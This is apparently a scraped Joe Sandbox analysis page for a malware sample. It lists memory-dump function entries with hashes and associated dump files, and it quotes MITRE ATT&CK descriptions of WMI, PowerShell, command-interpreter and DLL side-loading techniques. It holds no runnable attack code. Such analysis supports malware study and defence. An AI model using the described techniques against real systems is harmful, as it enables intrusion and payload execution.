Function 00AEF1B6 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00AEF1BB

Memory Dump Source

Source File: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e6025b10e1ddac9b081a6df31cd939e335d443493ae946c22cb8e2f60dbd3a59
Instruction ID: 7c6ed0e6121890dd7926db5bc04c99a0169f97aec992573641091dc80715b660
Opcode Fuzzy Hash: e6025b10e1ddac9b081a6df31cd939e335d443493ae946c22cb8e2f60dbd3a59
Instruction Fuzzy Hash: D4D0C9B1108309EFE7419F65CCC8BBEBBE8EB18304F50042CEE8581640DA324C10EB1A

Non-executed Functions

Function 00C6E803 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fa3fd9f1fb2a1ef1039fdc82efa35c29c780fa8603977d97043cb0f4850430f
Instruction ID: 3a5302c84b4a9833b4c4c49ec4ee7010540486c1f2becbe25f468a5cbf1de6f9
Opcode Fuzzy Hash: 4fa3fd9f1fb2a1ef1039fdc82efa35c29c780fa8603977d97043cb0f4850430f
Instruction Fuzzy Hash: 584197F360C210AFE3056E19DD416BEF7E9EBC4721F26882EE6C5C3614D63458458BA7

Function 00C6E142 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction ID: 464bd4577c269cfc3015ecde002e7a6d195efd2d13240fac76eed1231664a4a6
Opcode Fuzzy Hash: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction Fuzzy Hash: 6341C4B390C7109FE705AF18D8466BABBF4EF85360F16882EEAD583641D6354844CB97

Function 00C6E2EE Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d829e7927faf9a295be95f2a8af0f893d7aa3b9103dc9de1ac9a558197d1a040
Instruction ID: c37a13d03b4f1f4fd3c9eb66018c1317d5c072e96f7cad1475428157fb452e4e
Opcode Fuzzy Hash: d829e7927faf9a295be95f2a8af0f893d7aa3b9103dc9de1ac9a558197d1a040
Instruction Fuzzy Hash: 253121B200C7049FE70ABF28D88667EFBE1EF58300F12492DEAC583650EA355490CB5B

Function 00C8425C Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction ID: 389c0e94ae5d076ad878bdbc179cca98c387db23d66ed97be53538f2d53562a6
Opcode Fuzzy Hash: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction Fuzzy Hash: 2EE04F361041059AD7009F54C84599FFBF5FF19311F218845E484CB622C2764D41C729

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
